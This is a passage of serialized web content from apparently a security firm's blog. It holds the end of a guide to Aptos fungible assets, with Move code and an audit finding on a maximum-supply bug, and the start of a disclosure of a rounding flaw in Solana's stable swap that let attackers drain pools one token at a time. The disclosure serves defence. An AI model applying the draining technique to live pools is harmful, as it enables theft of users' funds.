assets",{"type":22,"tag":23,"props":5993,"children":5994},{},[5995,5997,6002],{"type":27,"value":5996},"If a fungible asset is considered an upgrade to ",{"type":22,"tag":30,"props":5998,"children":6000},{"className":5999},[],[6001],{"type":27,"value":69},{"type":27,"value":6003},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":22,"tag":6005,"props":6006,"children":6007},"note",{},[6008],{"type":22,"tag":23,"props":6009,"children":6010},{},[6011,6013,6018,6020,6025],{"type":27,"value":6012},"While the ",{"type":22,"tag":30,"props":6014,"children":6016},{"className":6015},[],[6017],{"type":27,"value":69},{"type":27,"value":6019}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":22,"tag":30,"props":6021,"children":6023},{"className":6022},[],[6024],{"type":27,"value":69},{"type":27,"value":231},{"type":22,"tag":23,"props":6027,"children":6028},{},[6029,6030,6036,6038,6043,6045,6050],{"type":27,"value":2007},{"type":22,"tag":30,"props":6031,"children":6033},{"className":6032},[],[6034],{"type":27,"value":6035},"coin_to_fungible_asset",{"type":27,"value":6037}," converting function automatically generates a corresponding fungible asset for a ",{"type":22,"tag":30,"props":6039,"children":6041},{"className":6040},[],[6042],{"type":27,"value":69},{"type":27,"value":6044}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":22,"tag":30,"props":6046,"children":6048},{"className":6047},[],[6049],{"type":27,"value":69},{"type":27,"value":6051}," is not allowed.",{"type":22,"tag":91,"props":6053,"children":6055},{"className":93,"code":6054,"language":95,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[6056],{"type":22,"tag":30,"props":6057,"children":6058},{"__ignoreMap":7},[6059,6087,6114,6151,6185,6218,6254],{"type":22,"tag":101,"props":6060,"children":6061},{"class":103,"line":104},[6062,6066,6070,6075,6079,6083],{"type":22,"tag":101,"props":6063,"children":6064},{"style":126},[6065],{"type":27,"value":821},{"type":22,"tag":101,"props":6067,"children":6068},{"style":126},[6069],{"type":27,"value":826},{"type":22,"tag":101,"props":6071,"children":6072},{"style":126},[6073],{"type":27,"value":6074}," coin_to_fungible_asset",{"type":22,"tag":101,"props":6076,"children":6077},{"style":120},[6078],{"type":27,"value":123},{"type":22,"tag":101,"props":6080,"children":6081},{"style":114},[6082],{"type":27,"value":199},{"type":22,"tag":101,"props":6084,"children":6085},{"style":120},[6086],{"type":27,"value":853},{"type":22,"tag":101,"props":6088,"children":6089},{"class":103,"line":157},[6090,6094,6098,6102,6106,6110],{"type":22,"tag":101,"props":6091,"children":6092},{"style":126},[6093],{"type":27,"value":322},{"type":22,"tag":101,"props":6095,"children":6096},{"style":166},[6097],{"type":27,"value":169},{"type":22,"tag":101,"props":6099,"children":6100},{"style":114},[6101],{"type":27,"value":117},{"type":22,"tag":101,"props":6103,"children":6104},{"style":120},[6105],{"type":27,"value":123},{"type":22,"tag":101,"props":6107,"children":6108},{"style":114},[6109],{"type":27,"value":199},{"type":22,"tag":101,"props":6111,"children":6112},{"style":120},[6113],{"type":27,"value":527},{"type":22,"tag":101,"props":6115,"children":6116},{"class":103,"line":182},[6117,6121,6125,6129,6133,6138,6142,6147],{"type":22,"tag":101,"props":6118,"children":6119},{"style":120},[6120],{"type":27,"value":2261},{"type":22,"tag":101,"props":6122,"children":6123},{"style":166},[6124],{"type":27,"value":169},{"type":22,"tag":101,"props":6126,"children":6127},{"style":114},[6128],{"type":27,"value":685},{"type":22,"tag":101,"props":6130,"children":6131},{"style":126},[6132],{"type":27,"value":5829},{"type":22,"tag":101,"props":6134,"children":6135},{"style":114},[6136],{"type":27,"value":6137}," CoinConversionMap",{"type":22,"tag":101,"props":6139,"children":6140},{"style":120},[6141],{"type":27,"value":758},{"type":22,"tag":101,"props":6143,"children":6144},{"style":114},[6145],{"type":27,"value":6146},"CoinInfo",{"type":22,"tag":101,"props":6148,"children":6149},{"style":120},[6150],{"type":27,"value":154},{"type":22,"tag":101,"props":6152,"children":6153},{"class":103,"line":367},[6154,6158,6163,6167,6172,6176,6180],{"type":22,"tag":101,"props":6155,"children":6156},{"style":108},[6157],{"type":27,"value":950},{"type":22,"tag":101,"props":6159,"children":6160},{"style":126},[6161],{"type":27,"value":6162}," metadata",{"type":22,"tag":101,"props":6164,"children":6165},{"style":166},[6166],{"type":27,"value":960},{"type":22,"tag":101,"props":6168,"children":6169},{"style":126},[6170],{"type":27,"value":6171}," ensure_paired_metadata",{"type":22,"tag":101,"props":6173,"children":6174},{"style":120},[6175],{"type":27,"value":123},{"type":22,"tag":101,"props":6177,"children":6178},{"style":114},[6179],{"type":27,"value":199},{"type":22,"tag":101,"props":6181,"children":6182},{"style":120},[6183],{"type":27,"value":6184},">();\n",{"type":22,"tag":101,"props":6186,"children":6187},{"class":103,"line":398},[6188,6192,6197,6201,6206,6210,6214],{"type":22,"tag":101,"props":6189,"children":6190},{"style":108},[6191],{"type":27,"value":950},{"type":22,"tag":101,"props":6193,"children":6194},{"style":126},[6195],{"type":27,"value":6196}," amount",{"type":22,"tag":101,"props":6198,"children":6199},{"style":166},[6200],{"type":27,"value":960},{"type":22,"tag":101,"props":6202,"children":6203},{"style":926},[6204],{"type":27,"value":6205}," burn_internal",{"type":22,"tag":101,"props":6207,"children":6208},{"style":120},[6209],{"type":27,"value":980},{"type":22,"tag":101,"props":6211,"children":6212},{"style":126},[6213],{"type":27,"value":35},{"type":22,"tag":101,"props":6215,"children":6216},{"style":120},[6217],{"type":27,"value":994},{"type":22,"tag":101,"props":6219,"children":6220},{"class":103,"line":428},[6221,6225,6229,6234,6238,6242,6246,6250],{"type":22,"tag":101,"props":6222,"children":6223},{"style":120},[6224],{"type":27,"value":5198},{"type":22,"tag":101,"props":6226,"children":6227},{"style":166},[6228],{"type":27,"value":970},{"type":22,"tag":101,"props":6230,"children":6231},{"style":926},[6232],{"type":27,"value":6233},"mint_internal",{"type":22,"tag":101,"props":6235,"children":6236},{"style":120},[6237],{"type":27,"value":980},{"type":22,"tag":101,"props":6239,"children":6240},{"style":126},[6241],{"type":27,"value":1492},{"type":22,"tag":101,"props":6243,"children":6244},{"style":120},[6245],{"type":27,"value":758},{"type":22,"tag":101,"props":6247,"children":6248},{"style":126},[6249],{"type":27,"value":975},{"type":22,"tag":101,"props":6251,"children":6252},{"style":120},[6253],{"type":27,"value":2510},{"type":22,"tag":101,"props":6255,"children":6256},{"class":103,"line":997},[6257],{"type":22,"tag":101,"props":6258,"children":6259},{"style":120},[6260],{"type":27,"value":188},{"type":22,"tag":23,"props":6262,"children":6263},{},[6264,6266,6273],{"type":27,"value":6265},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":22,"tag":80,"props":6267,"children":6270},{"href":6268,"rel":6269},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[84],[6271],{"type":27,"value":6272},"noticed an overlooked detail",{"type":27,"value":6274}," in the linking process.",{"type":22,"tag":91,"props":6276,"children":6278},{"className":93,"code":6277,"language":95,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[6279],{"type":22,"tag":30,"props":6280,"children":6281},{"__ignoreMap":7},[6282,6297,6317,6334,6392,6413,6433,6453,6484,6511,6518],{"type":22,"tag":101,"props":6283,"children":6284},{"class":103,"line":104},[6285,6289,6293],{"type":22,"tag":101,"props":6286,"children":6287},{"style":120},[6288],{"type":27,"value":2414},{"type":22,"tag":101,"props":6290,"children":6291},{"style":166},[6292],{"type":27,"value":614},{"type":22,"tag":101,"props":6294,"children":6295},{"style":120},[6296],{"type":27,"value":1884},{"type":22,"tag":101,"props":6298,"children":6299},{"class":103,"line":157},[6300,6304,6308,6313],{"type":22,"tag":101,"props":6301,"children":6302},{"style":120},[6303],{"type":27,"value":1803},{"type":22,"tag":101,"props":6305,"children":6306},{"style":166},[6307],{"type":27,"value":970},{"type":22,"tag":101,"props":6309,"children":6310},{"style":926},[6311],{"type":27,"value":6312},"create_primary_store_enabled_fungible_asset",{"type":22,"tag":101,"props":6314,"children":6315},{"style":120},[6316],{"type":27,"value":1850},{"type":22,"tag":101,"props":6318,"children":6319},{"class":103,"line":182},[6320,6325,6330],{"type":22,"tag":101,"props":6321,"children":6322},{"style":166},[6323],{"type":27,"value":6324}," &",{"type":22,"tag":101,"props":6326,"children":6327},{"style":126},[6328],{"type":27,"value":6329},"metadata_object_cref",{"type":22,"tag":101,"props":6331,"children":6332},{"style":120},[6333],{"type":27,"value":179},{"type":22,"tag":101,"props":6335,"children":6336},{"class":103,"line":367},[6337,6342,6346,6351,6355,6360,6364,6368,6373,6378,6383,6387],{"type":22,"tag":101,"props":6338,"children":6339},{"style":120},[6340],{"type":27,"value":6341}," option",{"type":22,"tag":101,"props":6343,"children":6344},{"style":166},[6345],{"type":27,"value":970},{"type":22,"tag":101,"props":6347,"children":6348},{"style":926},[6349],{"type":27,"value":6350},"map",{"type":22,"tag":101,"props":6352,"children":6353},{"style":120},[6354],{"type":27,"value":980},{"type":22,"tag":101,"props":6356,"children":6357},{"style":126},[6358],{"type":27,"value":6359},"coin_supply",{"type":22,"tag":101,"props":6361,"children":6362},{"style":120},[6363],{"type":27,"value":123},{"type":22,"tag":101,"props":6365,"children":6366},{"style":114},[6367],{"type":27,"value":199},{"type":22,"tag":101,"props":6369,"children":6370},{"style":120},[6371],{"type":27,"value":6372},">(), ",{"type":22,"tag":101,"props":6374,"children":6375},{"style":166},[6376],{"type":27,"value":6377},"|",{"type":22,"tag":101,"props":6379,"children":6380},{"style":126},[6381],{"type":27,"value":6382},"_",{"type":22,"tag":101,"props":6384,"children":6385},{"style":166},[6386],{"type":27,"value":6377},{"type":22,"tag":101,"props":6388,"children":6389},{"style":120},[6390],{"type":27,"value":6391}," MAX_U128),\n",{"type":22,"tag":101,"props":6393,"children":6394},{"class":103,"line":398},[6395,6400,6404,6408],{"type":22,"tag":101,"props":6396,"children":6397},{"style":126},[6398],{"type":27,"value":6399}," name",{"type":22,"tag":101,"props":6401,"children":6402},{"style":120},[6403],{"type":27,"value":123},{"type":22,"tag":101,"props":6405,"children":6406},{"style":114},[6407],{"type":27,"value":199},{"type":22,"tag":101,"props":6409,"children":6410},{"style":120},[6411],{"type":27,"value":6412},">(),\n",{"type":22,"tag":101,"props":6414,"children":6415},{"class":103,"line":428},[6416,6421,6425,6429],{"type":22,"tag":101,"props":6417,"children":6418},{"style":126},[6419],{"type":27,"value":6420}," symbol",{"type":22,"tag":101,"props":6422,"children":6423},{"style":120},[6424],{"type":27,"value":123},{"type":22,"tag":101,"props":6426,"children":6427},{"style":114},[6428],{"type":27,"value":199},{"type":22,"tag":101,"props":6430,"children":6431},{"style":120},[6432],{"type":27,"value":6412},{"type":22,"tag":101,"props":6434,"children":6435},{"class":103,"line":997},[6436,6441,6445,6449],{"type":22,"tag":101,"props":6437,"children":6438},{"style":126},[6439],{"type":27,"value":6440}," decimals",{"type":22,"tag":101,"props":6442,"children":6443},{"style":120},[6444],{"type":27,"value":123},{"type":22,"tag":101,"props":6446,"children":6447},{"style":114},[6448],{"type":27,"value":199},{"type":22,"tag":101,"props":6450,"children":6451},{"style":120},[6452],{"type":27,"value":6412},{"type":22,"tag":101,"props":6454,"children":6455},{"class":103,"line":1032},[6456,6461,6465,6470,6474,6480],{"type":22,"tag":101,"props":6457,"children":6458},{"style":120},[6459],{"type":27,"value":6460}," string",{"type":22,"tag":101,"props":6462,"children":6463},{"style":166},[6464],{"type":27,"value":970},{"type":22,"tag":101,"props":6466,"children":6467},{"style":926},[6468],{"type":27,"value":6469},"utf8",{"type":22,"tag":101,"props":6471,"children":6472},{"style":120},[6473],{"type":27,"value":980},{"type":22,"tag":101,"props":6475,"children":6477},{"style":6476},"--shiki-default:#CE9178",[6478],{"type":27,"value":6479},"b\"\"",{"type":22,"tag":101,"props":6481,"children":6482},{"style":120},[6483],{"type":27,"value":1706},{"type":22,"tag":101,"props":6485,"children":6486},{"class":103,"line":1063},[6487,6491,6495,6499,6503,6507],{"type":22,"tag":101,"props":6488,"children":6489},{"style":120},[6490],{"type":27,"value":6460},{"type":22,"tag":101,"props":6492,"children":6493},{"style":166},[6494],{"type":27,"value":970},{"type":22,"tag":101,"props":6496,"children":6497},{"style":926},[6498],{"type":27,"value":6469},{"type":22,"tag":101,"props":6500,"children":6501},{"style":120},[6502],{"type":27,"value":980},{"type":22,"tag":101,"props":6504,"children":6505},{"style":6476},[6506],{"type":27,"value":6479},{"type":22,"tag":101,"props":6508,"children":6509},{"style":120},[6510],{"type":27,"value":1706},{"type":22,"tag":101,"props":6512,"children":6513},{"class":103,"line":1071},[6514],{"type":22,"tag":101,"props":6515,"children":6516},{"style":120},[6517],{"type":27,"value":994},{"type":22,"tag":101,"props":6519,"children":6520},{"class":103,"line":1110},[6521,6525,6529],{"type":22,"tag":101,"props":6522,"children":6523},{"style":120},[6524],{"type":27,"value":2414},{"type":22,"tag":101,"props":6526,"children":6527},{"style":166},[6528],{"type":27,"value":614},{"type":22,"tag":101,"props":6530,"children":6531},{"style":120},[6532],{"type":27,"value":1884},{"type":22,"tag":23,"props":6534,"children":6535},{},[6536,6538,6543],{"type":27,"value":6537},"When the linked fungible asset was created, the current ",{"type":22,"tag":30,"props":6539,"children":6541},{"className":6540},[],[6542],{"type":27,"value":69},{"type":27,"value":6544}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":22,"tag":23,"props":6546,"children":6547},{},[6548,6550,6555,6557,6563,6565,6570],{"type":27,"value":6549},"Users can manually migrate their ",{"type":22,"tag":30,"props":6551,"children":6553},{"className":6552},[],[6554],{"type":27,"value":264},{"type":27,"value":6556}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":22,"tag":30,"props":6558,"children":6560},{"className":6559},[],[6561],{"type":27,"value":6562},"\u003CCoinStore\u003CCoinType>>",{"type":27,"value":6564}," from the caller. All coins in the ",{"type":22,"tag":30,"props":6566,"children":6568},{"className":6567},[],[6569],{"type":27,"value":264},{"type":27,"value":6571}," are exchanged and transferred to the new store during the migration.",{"type":22,"tag":91,"props":6573,"children":6575},{"className":93,"code":6574,"language":95,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[6576],{"type":22,"tag":30,"props":6577,"children":6578},{"__ignoreMap":7},[6579,6587,6619,6640,6676,6718],{"type":22,"tag":101,"props":6580,"children":6581},{"class":103,"line":104},[6582],{"type":22,"tag":101,"props":6583,"children":6584},{"style":2215},[6585],{"type":27,"value":6586},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":22,"tag":101,"props":6588,"children":6589},{"class":103,"line":157},[6590,6594,6598,6602,6607,6611,6615],{"type":22,"tag":101,"props":6591,"children":6592},{"style":126},[6593],{"type":27,"value":821},{"type":22,"tag":101,"props":6595,"children":6596},{"style":126},[6597],{"type":27,"value":1836},{"type":22,"tag":101,"props":6599,"children":6600},{"style":126},[6601],{"type":27,"value":826},{"type":22,"tag":101,"props":6603,"children":6604},{"style":126},[6605],{"type":27,"value":6606}," migrate_to_fungible_store",{"type":22,"tag":101,"props":6608,"children":6609},{"style":120},[6610],{"type":27,"value":123},{"type":22,"tag":101,"props":6612,"children":6613},{"style":114},[6614],{"type":27,"value":199},{"type":22,"tag":101,"props":6616,"children":6617},{"style":120},[6618],{"type":27,"value":853},{"type":22,"tag":101,"props":6620,"children":6621},{"class":103,"line":182},[6622,6627,6631,6635],{"type":22,"tag":101,"props":6623,"children":6624},{"style":126},[6625],{"type":27,"value":6626}," account",{"type":22,"tag":101,"props":6628,"children":6629},{"style":166},[6630],{"type":27,"value":169},{"type":22,"tag":101,"props":6632,"children":6633},{"style":166},[6634],{"type":27,"value":870},{"type":22,"tag":101,"props":6636,"children":6637},{"style":126},[6638],{"type":27,"value":6639},"signer\n",{"type":22,"tag":101,"props":6641,"children":6642},{"class":103,"line":367},[6643,6647,6651,6655,6659,6664,6668,6672],{"type":22,"tag":101,"props":6644,"children":6645},{"style":120},[6646],{"type":27,"value":901},{"type":22,"tag":101,"props":6648,"children":6649},{"style":126},[6650],{"type":27,"value":906},{"type":22,"tag":101,"props":6652,"children":6653},{"style":114},[6654],{"type":27,"value":285},{"type":22,"tag":101,"props":6656,"children":6657},{"style":120},[6658],{"type":27,"value":758},{"type":22,"tag":101,"props":6660,"children":6661},{"style":114},[6662],{"type":27,"value":6663},"CoinConversionMap",{"type":22,"tag":101,"props":6665,"children":6666},{"style":120},[6667],{"type":27,"value":758},{"type":22,"tag":101,"props":6669,"children":6670},{"style":114},[6671],{"type":27,"value":6146},{"type":22,"tag":101,"props":6673,"children":6674},{"style":120},[6675],{"type":27,"value":154},{"type":22,"tag":101,"props":6677,"children":6678},{"class":103,"line":398},[6679,6684,6688,6692,6697,6701,6705,6709,6714],{"type":22,"tag":101,"props":6680,"children":6681},{"style":126},[6682],{"type":27,"value":6683}," maybe_convert_to_fungible_store",{"type":22,"tag":101,"props":6685,"children":6686},{"style":120},[6687],{"type":27,"value":123},{"type":22,"tag":101,"props":6689,"children":6690},{"style":114},[6691],{"type":27,"value":199},{"type":22,"tag":101,"props":6693,"children":6694},{"style":120},[6695],{"type":27,"value":6696},">(signer",{"type":22,"tag":101,"props":6698,"children":6699},{"style":166},[6700],{"type":27,"value":970},{"type":22,"tag":101,"props":6702,"children":6703},{"style":926},[6704],{"type":27,"value":1958},{"type":22,"tag":101,"props":6706,"children":6707},{"style":120},[6708],{"type":27,"value":980},{"type":22,"tag":101,"props":6710,"children":6711},{"style":126},[6712],{"type":27,"value":6713},"account",{"type":22,"tag":101,"props":6715,"children":6716},{"style":120},[6717],{"type":27,"value":3950},{"type":22,"tag":101,"props":6719,"children":6720},{"class":103,"line":428},[6721],{"type":22,"tag":101,"props":6722,"children":6723},{"style":120},[6724],{"type":27,"value":188},{"type":22,"tag":23,"props":6726,"children":6727},{},[6728,6730,6735,6737,6742],{"type":27,"value":6729},"A curious reader might wonder about the fate of the ",{"type":22,"tag":30,"props":6731,"children":6733},{"className":6732},[],[6734],{"type":27,"value":264},{"type":27,"value":6736}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":22,"tag":30,"props":6738,"children":6740},{"className":6739},[],[6741],{"type":27,"value":264},{"type":27,"value":6743}," to ensure consistency.",{"type":22,"tag":5424,"props":6745,"children":6746},{},[6747,6766],{"type":22,"tag":23,"props":6748,"children":6749},{},[6750,6752,6757,6759,6764],{"type":27,"value":6751},"Could an attacker convert their ",{"type":22,"tag":30,"props":6753,"children":6755},{"className":6754},[],[6756],{"type":27,"value":264},{"type":27,"value":6758}," to a primary fungible store and then register another ",{"type":22,"tag":30,"props":6760,"children":6762},{"className":6761},[],[6763],{"type":27,"value":264},{"type":27,"value":6765}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":22,"tag":5457,"props":6767,"children":6768},{"v-slot:answer-0":7},[6769],{"type":22,"tag":23,"props":6770,"children":6771},{},[6772],{"type":27,"value":6773},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":22,"tag":53,"props":6775,"children":6777},{"id":6776},"conclusion",[6778],{"type":27,"value":6779},"Conclusion",{"type":22,"tag":23,"props":6781,"children":6782},{},[6783,6785,6790],{"type":27,"value":6784},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":22,"tag":30,"props":6786,"children":6788},{"className":6787},[],[6789],{"type":27,"value":69},{"type":27,"value":231},{"type":22,"tag":23,"props":6792,"children":6793},{},[6794],{"type":27,"value":6795},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":22,"tag":23,"props":6797,"children":6798},{},[6799,6801],{"type":27,"value":6800},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":22,"tag":6802,"props":6803,"children":6804},"sup",{},[6805],{"type":22,"tag":80,"props":6806,"children":6811},{"href":6807,"ariaDescribedBy":6808,"dataFootnoteRef":7,"id":6810},"#user-content-fn-1",[6809],"footnote-label","user-content-fnref-1",[6812],{"type":27,"value":6813},"1",{"type":22,"tag":6815,"props":6816,"children":6819},"section",{"className":6817,"dataFootnotes":7},[6818],"footnotes",[6820,6827],{"type":22,"tag":53,"props":6821,"children":6824},{"className":6822,"id":6809},[6823],"sr-only",[6825],{"type":27,"value":6826},"Footnotes",{"type":22,"tag":6828,"props":6829,"children":6830},"ol",{},[6831],{"type":22,"tag":6832,"props":6833,"children":6835},"li",{"id":6834},"user-content-fn-1",[6836,6838,6881],{"type":27,"value":6837},"There are at least four functions that can withdraw a fungible asset:",{"type":22,"tag":6839,"props":6840,"children":6841},"ul",{},[6842,6852,6861,6871],{"type":22,"tag":6832,"props":6843,"children":6844},{},[6845],{"type":22,"tag":80,"props":6846,"children":6850},{"href":6847,"rel":6848,":style":6849},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[84],"color: #007bff;",[6851],{"type":27,"value":3489},{"type":22,"tag":6832,"props":6853,"children":6854},{},[6855],{"type":22,"tag":80,"props":6856,"children":6859},{"href":6857,"rel":6858,":style":6849},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[84],[6860],{"type":27,"value":5445},{"type":22,"tag":6832,"props":6862,"children":6863},{},[6864],{"type":22,"tag":80,"props":6865,"children":6868},{"href":6866,"rel":6867,":style":6849},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[84],[6869],{"type":27,"value":6870},"primary_fungible_store::withdraw",{"type":22,"tag":6832,"props":6872,"children":6873},{},[6874],{"type":22,"tag":80,"props":6875,"children":6878},{"href":6876,"rel":6877,":style":6849},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[84],[6879],{"type":27,"value":6880},"coin::withdraw",{"type":22,"tag":80,"props":6882,"children":6887},{"href":6883,"ariaLabel":6884,"className":6885,"dataFootnoteBackref":7},"#user-content-fnref-1","Back to reference 1",[6886],"data-footnote-backref",[6888],{"type":27,"value":6889},"↩",{"type":22,"tag":6891,"props":6892,"children":6893},"style",{},[6894],{"type":27,"value":6895},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":157,"depth":157,"links":6897},[6898,6899,6900,6903,6908,6909,6910,6911],{"id":55,"depth":157,"text":58},{"id":642,"depth":157,"text":645},{"id":1233,"depth":157,"text":1236,"children":6901},[6902],{"id":1762,"depth":182,"text":1765},{"id":2026,"depth":157,"text":2029,"children":6904},[6905,6906,6907],{"id":2070,"depth":182,"text":2073},{"id":2786,"depth":182,"text":2789},{"id":4467,"depth":182,"text":4470},{"id":4999,"depth":157,"text":5002},{"id":5988,"depth":157,"text":5991},{"id":6776,"depth":157,"text":6779},{"id":6809,"depth":157,"text":6826},"markdown","content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","content","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","md",[6919,9425,9759,13268,17618,22736,33001,34428,35191,39418,44442,49870,51027,54516,64911,71145,72984,74694,79359,93258,95979,100768,103208,105553,111339,127159,135459,145383,150661,160054,162391],{"_path":6920,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6921,"description":6922,"image":6923,"date":6927,"isFeatured":15,"tags":6928,"onBlogPage":15,"body":6931,"_type":6912,"_id":9422,"_source":6914,"_file":9423,"_stem":9424,"_extension":6917},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":6924,"width":6925,"height":6926},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[6929,6930],"solana","report",{"type":19,"children":6932,"toc":9416},[6933,6947,6952,6957,6966,6972,6977,6982,6990,6998,7003,7008,7016,7021,7026,7393,7403,7408,7942,7947,7955,7963,7969,7974,7979,7984,7991,8003,8008,8020,8258,8263,8268,8274,8279,8284,8330,8335,8343,8348,8353,8358,8503,8516,8631,8645,8653,8667,8675,8688,8693,8705,8713,8735,9353,9359,9364,9377,9390,9397,9402,9407,9412],{"type":22,"tag":23,"props":6934,"children":6935},{},[6936,6938,6945],{"type":27,"value":6937},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":22,"tag":80,"props":6939,"children":6942},{"href":6940,"rel":6941},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[84],[6943],{"type":27,"value":6944},"spl-token-swap",{"type":27,"value":6946},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":22,"tag":23,"props":6948,"children":6949},{},[6950],{"type":27,"value":6951},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":22,"tag":23,"props":6953,"children":6954},{},[6955],{"type":27,"value":6956},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":22,"tag":23,"props":6958,"children":6959},{},[6960],{"type":22,"tag":6961,"props":6962,"children":6963},"em",{},[6964],{"type":27,"value":6965},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":22,"tag":53,"props":6967,"children":6969},{"id":6968},"discovery",[6970],{"type":27,"value":6971},"Discovery",{"type":22,"tag":23,"props":6973,"children":6974},{},[6975],{"type":27,"value":6976},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":22,"tag":23,"props":6978,"children":6979},{},[6980],{"type":27,"value":6981},"After a while, he noticed something weird..",{"type":22,"tag":604,"props":6983,"children":6984},{},[6985],{"type":22,"tag":23,"props":6986,"children":6987},{},[6988],{"type":27,"value":6989},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":22,"tag":91,"props":6991,"children":6993},{"code":6992},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[6994],{"type":22,"tag":30,"props":6995,"children":6996},{"__ignoreMap":7},[6997],{"type":27,"value":6992},{"type":22,"tag":23,"props":6999,"children":7000},{},[7001],{"type":27,"value":7002},"Somehow, we were getting tokens from nothing?",{"type":22,"tag":23,"props":7004,"children":7005},{},[7006],{"type":27,"value":7007},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":22,"tag":91,"props":7009,"children":7011},{"code":7010},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[7012],{"type":22,"tag":30,"props":7013,"children":7014},{"__ignoreMap":7},[7015],{"type":27,"value":7010},{"type":22,"tag":23,"props":7017,"children":7018},{},[7019],{"type":27,"value":7020},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":22,"tag":23,"props":7022,"children":7023},{},[7024],{"type":27,"value":7025},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":22,"tag":91,"props":7027,"children":7029},{"code":7028,"language":95,"meta":7,"className":93,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n 